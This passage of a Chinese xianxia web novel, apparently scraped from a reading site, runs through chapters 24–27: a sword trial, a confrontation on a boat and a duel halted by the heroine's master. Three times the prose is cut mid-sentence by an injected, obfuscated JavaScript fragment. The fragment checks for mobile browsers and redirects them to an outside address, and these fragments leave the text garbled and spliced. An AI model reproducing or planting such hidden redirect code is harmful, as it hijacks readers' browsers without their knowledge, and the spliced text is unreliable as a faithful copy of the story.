叶飞绝愣愣道:“梅梢月……” 它的琴池一侧刻着两方大印,一方阴文书“青天碧海”,一方阳文书“月佩风环”,轸上无弦,正是兵器谱上排名第五的梅梢月——不秋仙尊的仙器,神器以下第一兵,天下第一琴。 “我怎么感觉,你对我师尊很是敬畏?”应宁却笑道,“如果我告诉你,梅梢月其实根本就不是兵器,而是医修专用的法器呢,还怕吗?” 叶飞绝狐疑地看着她,道:“我才被这张琴打到重伤。” 之前南门春已“诋毁”过馨烈侯,现在应宁又开始“污蔑”不秋仙尊,叶飞绝怀疑这两个人是在故意贬低叶氏仙门。 “我叶氏仙门,上有馨烈侯,下有不秋仙尊,都是三界第一化神修士,受人间香火的神仙,”叶飞绝不改倨傲,道,“馨烈侯是天下第一剑修,不秋仙尊是天下第一音修,我敬畏你师尊,那是应当的。” 应宁质问道:“你修仙是为了什么?” 叶飞绝答:“修道,当然求的是道法穷通……” 她答得很快,但也很快降低了声音,逐渐回想起了生前求仙时的目的。 “穷通的尽头,你达到了吗?”应宁看着她的双眼,耐心道,“霜妃子,不要被复仇蒙蔽了你的道法,生当作人杰,死亦为鬼雌,你不该是现在这样的女鬼。” 叶飞绝终于被她说动,垂手抚上了身边的箜篌。 “那你计划如何?” “如有必要,”应宁指了指头顶的明镜台,道,“欺师灭祖。” 24. 第 24 章 修炼的日子过得飞快,眨眼间就到了立春。 试剑这天早上,应宁照旧持剑来到兰舟三层,与南门春过了两招,依旧是不出第三招就被南门春击落了剑,但她只是若无其事地捡起峥嵘,就准备去府城云丘了。 倒是南门春,特意同她道:“你进步很大,此战应当能胜。” 应宁完全没理他,只问阿蛮道:“霜妃呢?” 阿蛮坐在湘夫人的房间,黑着脸翻着账本,头也不回地回她道:“昨晚就走了。” 应宁这才同南门春道:“那你今天留在兰舟吧,否则这里没有金丹修士,秋社若要趁机过来算账,恐怕阿蛮一个人应付不了。” 南门春竟同意了,第一次同应宁分开行动。 “好,”他道,“你安心试剑,云丘那边若有什么事情也不必勉强,我会一并听着。” 应宁只是笑笑,孤身去往云丘。 上岸时,她路过千红窟,特意找了一趟白老板,递给她一封信,交代道:“这里有件事写在信中,想托老板娘帮忙。” 白老板一口答应,又问南门春:“那位呢?” “留在兰舟了,”应宁道。 白老板点头道:“那殿下尽可放心了。” 应宁只是笑着摇了摇头。 若只留南门春在船上,她绝不能放心,不过这是她设想过的情况,南门春留与不留,都不会影响到她的计划,整个兰舟已经缠上了密密麻麻的透明丝线。 她右手握紧纠缠的难容,左手扶好峥嵘,向云丘大开的城门走去。 · 整个云中折冲府的占地,比人间南方许多个道加起来都大,府城云丘也尤其繁华,从宽阔的城门进城,所有的街道都铺了青石板,施以清净咒,不染一丝尘埃。 应宁从城外进门,鞋底全是河畔的污泥,一踏入城,就连个脚印都看不见了,却能看见好几个凡人在扫大街。 府城如此繁华,街边却躺着许多衣着破烂的乞丐。 纵使有宝马、灵石催动的仙舟,却还有很多凡人脚夫在拉车。 医馆很少,但凡是有医馆,就都挤满了遍体鳞伤的凡人,而仙者们则个个穿金戴银,被簇拥着从各色门市里进进出出,身边打扇的、端茶的、捶腿的、说奉承话的凡人承颜候色,极尽卑微。 竟真如阿蛮所说的一模一样,仙者什么都不缺,连扫撒也只需一个咒语,却一定要看着凡人狼狈,才能衬托出他们的高人一等。 仙城的凡人,什么时候落得这副光景了? 应宁握紧剑柄,摘下了头上的幕离,露出一张素面朝天的脸。 有人一瞥,登时看得呆住,问道:“那是哪位仙子,怎么如此眼熟?是神女下凡了吗?” “那是殿下……” 立刻有凡人将她认了出来。 “公主殿下不是闭关三年了吗?秋社的执事说了,天梯不修完,殿下不会归省凡间。” “云丘归仙界管,不算凡间,今日春试,神女都来,殿下当然也来。” “梨花一枝春带雨,看她一脸病容,必是瀛洲玉雨。” …… 通往天梯的这段路,应宁要一步一步地走过去。 道两边的凡人和仙者都越聚越多,很快就有一个蒙面的男人注意到了,挤在道边的人群中探头探脑,见到一身红衣的应宁,直接挤开身边人,持刀冲向她一刺。 应宁挥剑一挡,将那男人挑翻在地。 人群顷刻沸腾起来。 “什么人?” “他敢行刺殿下!” “不要命了?瀛洲玉雨可是不秋仙尊的大弟子!没听说前几天谢二公子被霜妃子追杀的事的吗?不秋仙尊出手只弹了一个音,霜妃子就落得重伤!” 应宁低头,一剑挑开那刺客的蒙面巾。 他满脸伤疤,根本辨别不清容貌。 路人却一眼认出:“是秋社的犯人。” “秋者刑官也,只有受过秋社墨刑,才会满脸留疤,以后再不得仙门重用,永世为最低一等的贱奴。” “听说最近有个闹事的贱奴跑出来了,就是他吧?” 应宁眯起眼,回想起自己刚回云中时,曾在医馆见过好几个满脸鲜血的人,还有不少摔胳膊断腿的。 “你想杀我,”她笑问道,“是因为天梯吗?” 那男人梗着脖子,骂道:“要不是为了给你修天梯,怎么会死伤这么多弟兄,你心知肚明,何必再问?连你个病秧子都打不过,是我技不如人,要杀要剐,悉听尊便!” 应宁却挽了个剑花,收剑回腰间,道:“今日春试,你想杀我,就来论剑台杀。” 男人一愣,道:“你……” “你一个杀不了我,千百个呢?”应宁一笑,环顾四周,高声道,“凡是凡人,看不惯我行径的,希望你们一起来。” 众人议论纷纷,不知她这是在做什么。 应宁又道:“看得起我的,信任我的凡人,我希望你们也能一并来论剑台为我助威,捧个人场。” 有人已经开始喝倒彩了。 “殿下是个凡人,怎么论剑?” “她不能御剑,要怎么上云中道,爬上去吗?” “谁说她赢不了?她可是瀛洲玉雨,谢二公子的白月光,到时候使个美人计,谢二公子骨头都酥了,还不是手到擒来?” 众人哈哈大笑。 那行刺的男人原本也是眼带轻蔑,却一眼注意到应宁的袖扣,突然愣住了。 此时又有人道:“谁说殿下就赢不了?你们难道没听说,人间两把神武出世了吗?你们看她左手拿的,不是峥嵘又是什么?再看她右手的红线,像不像传说中的难容?” 这一句话如星火燎原,瞬间扳回了众人口风。 “对啊,”又有人附和道,“那刺客武功不弱,刚被殿下一击倒地,可见殿下实力也不能小觑。” “而且秋社说天梯是给殿下修的,就真是给殿下修的?这刺客有没有脑子,别人说什么就信什么?” “我支持殿下!殿下闭关三年,天梯就修了三年,焉知不是这三年里秋社在欺上瞒下,污蔑殿下名声呢?反正殿下闭关之前,秋社可不敢有现在这样嚣张。” 应宁听见这些话,心中有些讶异,但并无波澜,只是笑笑,继续向前。 那男人从地上踉跄爬起来,在她身后跟着,喊道:“等等、你的护腕……” 应宁看了眼袖口,道:“怎么?” “你的护腕,是从哪里买来的?”那男人颤声问道。 应宁回忆起,似乎是六娘给她绣的,答:“朋友送的。” 男人又问:“叫什么?” 应宁疑惑地回头看了眼他,道:“六娘。” 那男人踉跄几步,来到她身前,苦苦追问道:“什么时候的事?六娘现在何处?” 应宁平静答道:“她在兰舟上,怎么?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809411|154955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那男人顿时怒不可遏,持刀再次冲了上去,吼道:“你把六娘怎么样了!” 应宁再次一剑将他掀翻在地。 “六娘是自卖入兰舟的。”她冷静道。 那男人顶着她的剑起身,不顾被剑身划伤肩膀,仍要爬起来。 应宁于是再次收剑,改用难容,几鞭红线甩在他身上,封住了他周身穴道,再不能动弹。 看客啧啧称奇,道:“这凡人怎么不听劝。” “应当是找不到他婆娘了吧,”有人哂笑道,“这年头,自卖入兰舟的女人还少吗?自己养不起女人,还跟殿下这里猖狂,直是可悲可笑。” “殿下上兰舟了?”更有人惊叹道,“殿下十年前颁布的规矩,一不许嫖二不许赌,三不许私自械斗,这下兰舟不是得被殿下给掀个底朝天?” 众人你一言我一语,很快就搞清了事实。 “怪不得秋社现在跟兰舟不共戴天,年前谢氏死了多少人啊,原来是殿下在秉公执法!” “没有谢氏,就没有兰舟的今天,殿下杀了谢氏的嫖虫,这是在为民除害啊。” “此人真是愚蠢,好赖不分。” 那男人茫然站在原地,听着周围人的议论,也动摇起来。 难道真的是他错了? “可是、可是她刚才承认,”他结巴道,“天梯是为她而修的……” 人群中立刻又有人喊道:“你自己被秋社迷惑,一心要杀殿下,殿下若辩白了,你真能听得下去?” 还有个人认出了他,道:“是你!年前殿下在城边小医馆里看病,把身上的钱全都给了我们治病,你骂秋社的仙者,殿下还说你骂得好,现在你竟回头恩将仇报?” 个中更有性情急躁的,直接上前一步,要去揍那男人,口中喊着:“你偏听偏信,差点陷殿下于不义,若殿下病弱无力反抗,方才就被你杀了。” 这话说完,就有人跟着拔剑道:“殿下心善,轻易不杀凡人,我偏偏只图自己快意,这就替殿下报仇!” 谁知应宁又回过头,一鞭甩开众人,给那男人解了穴。 她云淡风轻道:“好意我心领了,但此人是受秋社蒙蔽,想为惨死的凡人讨个公道,归根到底,还算是个英雄人物,凡人没有门路,自然消息闭塞,会有误会也是人之常情,若我因此就要杀他,那我与秋社的做派又有何异?” 还有人愤愤不平,道:“殿下,你体谅他,他却要杀你!” 应宁半垂双眸,眼中仿佛蒙着一层雾气。 “人,各有难处,”她沉声道,“如今这个世道,凡人能活着,已是不易。” 闻言,已有人不禁垂泪。 话说到这里,连那行刺的男人都放下了刀,却还有人心里有气。 应宁侧了侧头,看向兰舟的方向,忽而一笑,道:“不信,我就给大家看看,秋社是怎么办事的。” · 此时,谢寻也早已养好了伤,却不在云中道上等着春试,而是来到了兰舟。 他右手抛起一枚骰子,抬眼冷漠地看着站在三层的阿蛮。 “我听说,”他的嗓音天生带着笑意,漫不经心道,“霜妃要杀我的时候,整个兰舟都不肯把我交出来,唯独你要把我交出来,换整船人的性命?” 阿蛮双手握紧红绫,一双眼盯着他,淡淡道:“所以呢,你想如何?” 谢寻冷笑一声,道:“还用问吗?你想杀我,我便杀你。” 25. 第 25 章 谢寻右手抛起一枚骰子的同时,云丘城内,应宁右手也抛起了一枚骰子。 两枚骰子同时掷出,整个云中都护府瞬间被一片魔气笼罩,而谢寻方才所说的话,也被一字不落地传入了云丘城内,众人耳中。 所有凡人、仙者都抬起了头。 阿蛮抬头看着漫天魔气,面色骤然阴沉下来,道:“谢无妄,湘夫人再三叮嘱,要你发毒誓,毕生决不能踏入魔道半步,你是一个字都没听进去啊。” 云中道,叶飞绝坐在道中的一柄仙剑上,也抬起头。 只见道路尽头高悬的明镜上,都被黑气覆盖,如一面真正的镜子般,投映出了远处城外兰舟前的景象——谢寻正在与阿蛮对峙。 “乾坤一掷?”叶飞绝也疑惑地看了下去,“谢寻怎么不来试剑,反而回兰舟了?” 她判断不出这幻象是真是假,干脆一步迈出了云中道,向兰舟赶去。 兰舟前,谢寻只一笑,道:“少废话,我可没有什么怜香惜玉的毛病,管你是男是女,跟我有仇的,我都照杀不误。” 他说完,直接御剑向阿蛮冲去。 阿蛮挥出两条红绫,却被他瞬间欺近身,一剑斩断。 好快的速度…… 叶飞绝一边赶路,一边拔剑祭出箜篌,右手拨弦,却在半路就停了步伐,浮在空中,看着兰舟上的谢寻,没有再拨第二声。 “来不及了,”她面色冷如冰霜,疑惑道,“谢寻不过短短几日,竟然已经进境到了金丹大后期?” 整个云中府的人都在抬头看着热闹,有的仙者直接一步御剑起身,看向城外的兰舟。 “这是什么?”有凡人恐惧地问,“这是魔气吗?” “应该是妄语道的幻象,”有懂行的仙者解释道,“妄语道一语成谶,开口成真,赌则赢,信则灵,但一开始是真是假,是编造的还是现实,谁也不知道。” 秋社的人终于坐不住了,许多谢氏弟子都在云中道附近,此时纷纷站出来指责应宁,道:“修妄语道的全都是骗子!是瀛洲玉雨在说谎,趁机栽赃我谢氏!” 却有的是耳聪目明的散仙,正站在房顶上看着,道是:“我们又不是没长眼睛耳朵,看不出她说的是真是假?谢寻现在就在兰舟呢,而且谢寻不是也修了妄语道吗,你们看,兰舟上魔气冲天,而且他手里也捏着一枚骰子!” 筑基以上才为仙者,但纵使是凡人,不少筑基的也能御剑登高,远远眺望过去,兰舟目前的情况,正和应宁为众人展示的画面一模一样。 谢寻要杀阿蛮,只需在一瞬之间。 应宁右手的难容已经攥紧,一扯就能为阿蛮挡开那把剑。 不过还没等她动手,一柄折扇就打着转横在剑前,激出阵阵火花,斩开了谢寻的仙剑,扇子锋利的沿边竟如锯子般,去势不减,直接将他的剑锯成了两断! “今日春秋试剑,”南门春道,一步落在阿蛮身前,淡然面向谢寻,“你要迟到了。” 谢寻惊疑不定,仔细打量南门春,只觉他和此前见过的蒙眼美女像极,问道:“你是谁?” 南门春不回他,只反问他道:“这里的人,你一定要杀吗?” 谢寻用下巴一点阿蛮,笑眼冷冰冰的,道:“我只杀她。” 南门春好言相劝道:“阿蛮要交出你,也只是为了保全船上人性命,归根结底是霜妃要杀你,你想杀她,不如直接去论剑台与霜妃一较高下。” 谢寻脚步在后退,眼神却如刀般盯着他,忌惮道:“两个我都会杀。谁想杀我,我就杀谁。” 南门春仍旧耐心,解释道:“你与霜妃结仇,连累兰舟,阿蛮并非是想杀你,而是想让你一人做事一人当,她之所为,才是为君子之道,你若杀她,有违师承。” 谢寻被他气笑了,嚣张答:“实力为尊,强者至上,我这辈子,自己怎么快活就怎么活,管他什么君子小人,听你讲这些破道理?” 谁知南门春也笑了,不过温柔如春风拂面,道:“若不讲道理,实力为尊,那我就直接告诉你,你赢不了我,所以也杀不了阿蛮。” 谢寻气急,却忽听得岸边一阵笑声。 他猛一回头,才发现整个云中城上的魔气如镜,隐约可见云层中的声音画面,正是自己这里的情形。 见他回头震惊地看着府城,城中人笑得更大声了。 有人道:“这就是堂堂秋社之主,谢二公子?” “夏社师承春社仙尊馨烈侯,这小子却连‘君子’二字都不知道怎么写,不尊师长,不敬祖训,真是仙界之耻。” “呵,”还有人耻笑道,“这个谢二公子本来就是婊、子生的,婊、子养的,长在兰舟上,自己也不是什么干净人物,怎么能悟得出君子道呢?” 多数人直接催道:“实力不如人,还不快快滚蛋!” 仙者们则多半注意到着南门春,互相询问:“那位蒙眼仙尊是谁,谢寻已是化神之下第一的金丹修士了,他竟然比谢寻还强,难道也是冬社的长老?” 叶氏的否认道:“不,叶氏从未见过此人,三社从前最强的长老全被应有语设计杀了,此人必定是什么隐世多年的散仙。” 一老者道:“此人在千红窟曾透露过,他复姓南门,应当是某个上古世家之后。” “难怪,”有人也用折扇,点着南门春道,“谢晨也修折扇,还号称剑骨,去年秋试被谢寻打得十六根扇骨尽断,这个南门公子对阵谢寻,折扇却连一折都没打开,光看这一点,就知道此人实力深不可测,可能还远在霜妃之上呢。” 云丘上空的魔气积聚,笼罩向了兰舟。 妄语道,本就是信谁谁真,现在两个人同时触动幻象,明显信应宁的人多,她的魔气自然就将谢寻的给吞没了。 谢寻还不知道这是谁的魔气,就已经被岸边众人的讥笑给淹没了。 他一开始是愤怒,再来不及管阿蛮和南门春,御剑飞到岸边,对人群大喊:“你们放屁!我娘是名门仙子,是三界闻名的美女,我是谢氏嫡子,你们凭什么诋毁我出身!” 众人只避其锋芒,跑回城中,仍一味哄笑。 而后,谢寻御剑飞到城中,又听见旁人对南门春的称赞,被转移了注意力,先是看了看远处兰舟上的南门春,又看了看道中等着他的叶飞绝。 这时候,他面色逐渐变得惶恐起来。 “不对……”他喃喃道,“这和书里完全不一样……” 书? 在漫天的魔气笼罩下,应宁能清晰地捕捉到他说的每一个字,慢慢眯起双眼。 怎么,原来你,也知道那本书? 还是说…… 应宁定定看着面前这个谢寻,沉声道:“谢无妄,春秋试剑的时间已经到了,还不速速开启试剑台?” 春秋试剑是春试,也就是春社主场,原本是由春社信物来开启的,但王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815616|154955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者已矣,空余信物不知藏于何处,如今能开启试剑台的,就只有秋社的百花杀了。 围观者一起喊道:“快开始打啊!” “磨磨蹭蹭什么,谢二公子?秋试时杀得活像个地狱里爬出来的阎罗王,怎么现在不是怕了吧?” “我早说上次是谢氏造势,根本就没什么少年天才,是骡子是马,有种拉出来遛遛。” 谢寻抿起那双笑唇,不语御剑飞到了云中道上。 他一袭金衣衣角翻飞,如碎金在晨光下熠熠生辉,与叶飞绝、应宁相对,擦肩而过。 应宁一眼看见,他额角竟然留下了一滴汗水。 修仙之人,结丹之后不食五谷,已如神仙一般,也很少会流汗,他一个向来玩世不恭的叛逆少年,不过是试一次剑,何至于如此紧张? 应宁唇角笑意愈浓,眼底神色愈凉。 只见谢寻落在云中道底,半跪在一柄剑上,抬手捻过翻领上刺绣的杭菊,取出一朵菊花,垂手将花瓣与靴子下的剑身轻轻一碰。 数千柄悬空的飞剑渐次振动,发出阵阵剑鸣。 “嗡——” 那铮铮声不很大,却清晰地传入每个人耳中,低沉却清亮,听得出仙剑的质地,每一把都是上品,都无剑鞘,只是在切动着空中冰冷的层云。 “如今春社无人,”空中,一白衣少女踩着细剑,从高处飘下,小脚脚尖垫起,落在道路最尽头的一柄飞剑上,以清甜的声音宣布,“冬社神女叶肃肃,代叶氏之名,迎战秋社。” 叶肃肃颇有神女下凡之风,连靴底都同南门春一样是白的,一尘不染。 而谢寻起身,抬头,御剑腾空,应宁看见他的靴底是金色的,掺杂着红黑的血迹,如同踩在沾了血的金子上,倒也无灰尘。 故事的男主、女主,终于按故事所说的场景,凑在了一起。 人群中,有人唏嘘道:“金童玉女,刀剑相向。” “谢氏与冬社的婚约,到底是哪个天才定下的?”有人问道,“这也太会挑了,漂亮归漂亮,可分明就是对宿敌,怎么结道侣还结成仇家了呢?” “嘿嘿,”很快就有人答道,“这出婚约,原本是谢氏家主和冬社长老定的,要说当年那谢氏家主也是少年天才,秋冬二社联姻,也是一桩美谈,谁知后来谢氏家主败给馨烈侯之后,直接道心崩毁,秋社从此一蹶不振,婚约也就被冬社一拖再拖了。 “如今秋社又出了个天才,八岁就入了不秋仙尊师门,冬社长老自然就坐不住了,又给他们联姻了呗,可惜,哎……” 应宁心头一动,回头问道:“可惜什么?” “您没听说过吗?” 一个全新的说法忽然出现了。 路人道:“可惜听说那叶肃肃,性情高傲,瞧不起谢二公子,当时以为他出身兰舟,天资必然低下,非要退婚,还被谢二公子写了封休书给休了,这桩婚事就算黄了,谁知后来谢氏将谢二公子认祖归宗,人家是真正的名门公子,习剑天赋百年难得一见,现在就算叶肃肃后悔也来不及咯。” 应宁摇头笑笑,抬头看着那二人,年幼时初见的回忆一时涌上心头。 事实好像是旁人说的那样,却又不是。 只是此时,一切都来不及分辨了。 应宁左手抽出峥嵘,右脚也踏入了云中道。 到底是与不是,就由此战揭晓他们各自书中的真相,再交给天下人评判吧。 26. 第 26 章 叶肃肃站在最高处,拔出一柄细长仙剑,向下俯视谢寻,面无表情。 谢寻则双手持一柄极重的宽剑,向上冲去。 应宁站在最下方,仰头看着他们。 他们三个师出同门,按理来说,用的都应该是随风剑法,可现在看来,叶肃肃与谢寻没有一个用的是随风剑法,甚至也说不出用的是什么有名有姓的招式,就是单纯的在用剑。 水平倒也不能说不强,只是十分诡异,每一剑都出得毫无章法,却又能互相招架,简直像是两个灵力过于充沛的小孩子。 而且他们一来一回,也明显没尽全力。 叶肃肃先向下,主动迎战谢寻,出招迅猛,压着谢寻刺出几剑,将谢寻打得满头大汗,但每一剑也都没讨到甜头。 叶飞绝闲等在明镜台边,嘲笑道:“秋社之主,就这点本事?” 围观者多半道:“这一看就是谢二公子在手下留情。” “但不是说,他这个人最不怜香惜玉吗?” “那也要分是谁,”有人道,“若对手是瀛洲玉雨,他的白月光,他必定就要手下留情了,不过神女嘛……纵使叶肃肃再貌美、与他有婚约又如何?入不了他的眼,结果还是显而易见的。” 应宁只是冷笑,也静等着结果。 很快,谢寻就转守为攻,不过多久,就将叶肃肃逼得用尽灵力,从脚下的飞剑上跌落,向下坠去。 谢寻能御万剑,还有得是余力,完全可以唤来一柄仙剑,接住叶肃肃,但他没有理会叶肃肃,而是神色复杂地低头,金色的瞳孔一动不动地看着她坠落,与最下方的应宁。 “神女要陨落了?” 围观者十分震惊。 “神女绝不会陨落,”叶氏的仙者断言,“别说有不秋仙尊在,不可能眼看着自己的小徒弟被杀,就是神女本身的命格,也不可能有陨落一说。” 神女之所以是神女,也是因为她在明镜台上有批语,生而为神,与天地同存。 可神奇的是,叶肃肃闭上双眼,对着谢寻一笑,在跌落的过程中,竟如个融化的雪人一样,逐渐散做漫天雪花,最终消失在了剑道中。 围观者为之哗然。 “怎么回事?!” 叶氏的仙者都神色骤变,纷纷涌入剑道,尤其是冬社的修士,四处探查叶肃肃的影子,却都没捉到一片雪花。 “神女真的陨落了?被谢寻杀了!” 围观者简直不敢置信。 “这就结束了?就这?秋试时谢寻一个人杀穿了整个秋社,杀得整个云中道与炼狱无二,血流成河,这也比秋试差太远了吧?” 应宁伸出右手,掌心向上,一片六出雪花在落到她掌心之前,就融化在了空中。 “哼……” 她低声笑了,而后放出右手的红线,缠在了脚下的仙剑上,操纵仙剑急速向上飞去。 “现在,轮到我了吧?” · 化雪时比下雪冷,空中仍流动有叶肃肃消失时的冷气,谢寻却紧张地抬起手臂,用袖子擦了擦额头上的汗水。 见到应宁御剑飞起,叶氏的仙者又瞬间撤出了云中道。 “应有语居然会御剑?” “殿下不是凡人吗?她怎么做到的?” “我知道了,是难容!”很快就有仙者猜出了端倪,“神器有灵,可以自行吸纳天地灵气,难容居然真的认瀛洲玉雨为主了?” “那不是秋社胡说栽赃的吗?”就连叶氏夏、冬两社的仙者,都惊异万分,“瀛洲玉雨是不秋仙尊的大弟子,是馨烈侯的徒孙,难容是魔尊生前的武器,怎么会认敌人的徒孙为主?” “可她方才用的法术,也确实是妄语道的本事,她这是要彻底叛出师门了吗?” 应宁左手持峥嵘,起手就是随风剑法,劈向谢寻。 谢寻仍旧是只守不攻,一味格挡,挡了几招,明显比方才抵挡叶肃肃时的架势还要落魄,脚下毫无章法,连连后退,每一剑都挡得狼狈不堪,仿佛每次都差点就来不及挡了。 “好烂的剑法!” 应宁边斩,还可以边嘲笑他,质问道:“师父教你的随风剑法呢?” 谢寻这才想起什么似的,开始以随风剑法相抵挡,只是用得明显要比应宁生硬了很多。 围观者本就被叶肃肃陨落震惊不已,现在看得更加惊讶。 “不秋仙尊门下最强的,居然是大弟子这个凡人?” “不是都说谢二公子是天才吗?怎么这随风剑法用得这么丑?” “他好歹还会用,刚才那个神女连用都不会用,打得那叫什么玩意,我家四岁的孩子来也比她强。” “谢寻也没比叶肃肃好到哪去吧,他就是仗着灵力强横,你们看他这身法、这步法,简直不堪入目,这就是不秋仙尊教出来的徒弟?” 叶氏仙者全都面白如纸。 夏社的仙者脸色尤其难看,一会青一会红。 “倒也不是不秋仙尊的问题吧,”还好,也有人讲几句公道话,道,“瀛洲玉雨的剑法不就很标准,有那么点馨烈侯当年的味道。” “可惜……她拿的是峥嵘吧?”只是又有人指着她的剑,道,“这剑已被魔气腐蚀,又握在个凡人手里,哪有半分馨烈侯当年的风采?” 众人你一言我一语间,谢寻竟然已经要输了! 终于有人看出端倪,道:“不对啊,秋试时我是看过的,谢二公子用剑用得出神入化,绝不是现在这样的实力……” 秋社的人立刻道:“他在放水!” “喔——” 众仙者于是都明白了,抚掌笑道:“他是对心爱的女人下不去手啊。” “我就说,应有语一个女人,还是个凡人,怎么可能压着谢二公子打呢?” “哈哈,我早就说过,谢二公子是几百年难得一见的天才,你们刚才还怀疑他的实力和剑法,真是可笑。” 可是很快,令人尴尬的事情发生了。 应宁试探过后,加快了攻速,一剑打在谢寻手筋上,将他的剑击得脱手了。 谢寻的灵力堪称磅礴,绝非普通的金丹大后期,他确实可同时驭万剑,只是可惜,这个谢寻的神识不够强大,本就被应宁打得心慌意乱,更不能同时分心御别的剑了。 此时剑一脱手,他已顾不得剑法,一口气将附近的剑全部召起,想向应宁甩去,结果却竟然支使不动! “呵呵。” 应宁右手一卷,密密麻麻的红线穿在五指间显形。 每一条红线,都缠着一柄仙剑。 魔气已经漫步整个云中道,红线将这条道以万剑为轴,织出了一片天罗地网,牢牢缠覆。 “纳命来!” 应宁毫不犹豫,一剑刺向谢寻。 所有人都看得屏住了呼吸。 · 此时,一道古琴音袭来,振偏了应宁的剑。 这次的琴音不同上次,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14833181|154955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半路被另一声箜篌给振开了大部分余波,又在天罗地网中随着红线的震动散去许多,所以没能彻底阻住应宁的剑。 峥嵘微微一偏,鲜血喷涌如注。 不过第二声琴音很快袭来,随后一浪接一浪,几乎是奏了一曲,给谢寻硬生生从红线中拨出了一条生路。 不过应宁已经斩断了谢寻的领子和半边锁骨,拿到了他领上的百花杀。 应宁拈花在手,收入囊中,抬头朗声道:“师尊,这是何意?” 她语带笑意,神色坦然,毫无惧色。 叶飞绝怀抱箜篌,向下撤进红线笼中,憎恶地看着来者。 若说之前,叶飞绝对不秋仙尊还心怀敬畏,那现在,这敬畏就已随着他对谢寻一而再、再而三的偏向袒护彻底烟消云散了。应宁说得没错,不解决不秋仙尊,永远没办法杀谢寻。 叶飞绝方才看得很清楚,谢寻灵力着实恐怖,确实有可能越级战胜自己这个半步化神,不过应宁的妄语道正好克制谢寻,应宁也没有留手,若无不秋仙尊的阻拦,她定能杀谢寻,至此,叶飞绝就已彻底站在了应宁这一边,同仇敌忾。 最高处,一位抱琴的仙尊飘然落下,站在了最初叶肃肃站着的那柄仙剑上。 他一身青衣,周身上下无一饰物,甚至无佩剑,长发只以一截青竹简单挽起,身材瘦削,五官清润,样貌有谢寻的华美,却无谢寻的妖气,只有正气,神色也有叶肃肃的冷漠,却不像叶肃肃那样无特点,十分有神韵,若论起来,反而是应宁,与他一眼看去,都颇有些遗世而独立的神似。 同样踏空而行,他却不是叶飞绝那样的半步化神,而是真正的化神修士,也是如今三界之中,唯一的一位化神期修士。 “不秋仙尊!” 不秋仙尊垂眸,看向应宁。 谢寻御剑遁逃出云中道,却也没有逃向不秋仙尊,而是向南,飞跃过第一关,向着人间的方向跑了。 应宁早在他伤处埋了红线,并不担心,只抬头,同不秋仙尊道:“师弟几次三番惹下事端,刚才甚至还亲手杀了师妹,师尊却反复袒护他,真是令人心寒。” 不秋仙尊却道:“神女还未死。” 他惜字如金,声音和语调都很冷,听不出与夏社炽热的“夏”字有什么关系。 “哦?”应宁笑道,“怎么,他没能彻底杀死神女,就不该死吗?” 不秋仙尊微微皱眉,道:“他入魔了。” “所以呢?”应宁又笑问,“疯子上街杀人,尚且还要判个轻重,他现在明显神智清醒,就该放他跑到人间去随意杀人吗?” 不秋仙尊被她说得哑口无言,只得道:“修魔者,逐出师门;日后相见,我必出手制伏。” 应宁点了点头。 “好,很好,”她笑得惨淡,“我也修魔,所以我也要被逐出师门,是吗?” 不秋仙尊微一点头,道:“即日起,谢无妄、应有语,与夏社断绝关系。” 应宁愣了一会,才轻声道:“连这个时候,他都排在我前面……” 不秋仙尊纯黑的眼珠缓缓一转,看向她双手的武器。 “峥嵘,”他道,“当归还叶氏。” 应宁似乎早已预料到了,只是看着他,笑得仍旧有些无奈,道:“师、不,叶堪折,这是春社的剑,又不是你夏社的,我赢了春秋试剑,现在该当是春社之主,你凭什么让我还呢?” 叶堪折看着她,道:“你还没有赢。” 27. 第 27 章 这还是应宁第一次,直呼师尊的大名。 不秋仙尊是叶氏仙门中人,自然也姓叶,表字堪折,还是他百年前及冠时,馨烈侯亲自为他取的。 叶堪折这三个字,若非叶氏中人,都是从未听说过的,只因他的地位太高了,没有人能用字去称他,应宁也是自馨烈侯陨落之后的这百年来,第一个敢直呼其名的人。 围观者已经看得个个呆住了。 “叶、堪、折?这就是不秋仙尊的名字吗?” 只有没长大的孩子,才会如此发问。 立刻有人制止道:“嘘!不可随意直呼仙尊名讳。” 天真的孩子却疑惑道:“可是殿下刚刚就是这么叫的啊?” “不可直呼神祇之名,对神女如此,不秋仙尊亦如此,如同馨烈侯与魔尊一样,纵使我们仙界不信魔道,也要尊称传芳君一声魔尊,”仙者教训孩子道,“应有语胆大包天,必会付出代价。” “难道说……”有人大胆猜测道,“不秋仙尊,要代叶氏之名,迎战瀛洲玉雨吗?” 叶堪折说,她还没有赢,可现在谁能迎战她呢? 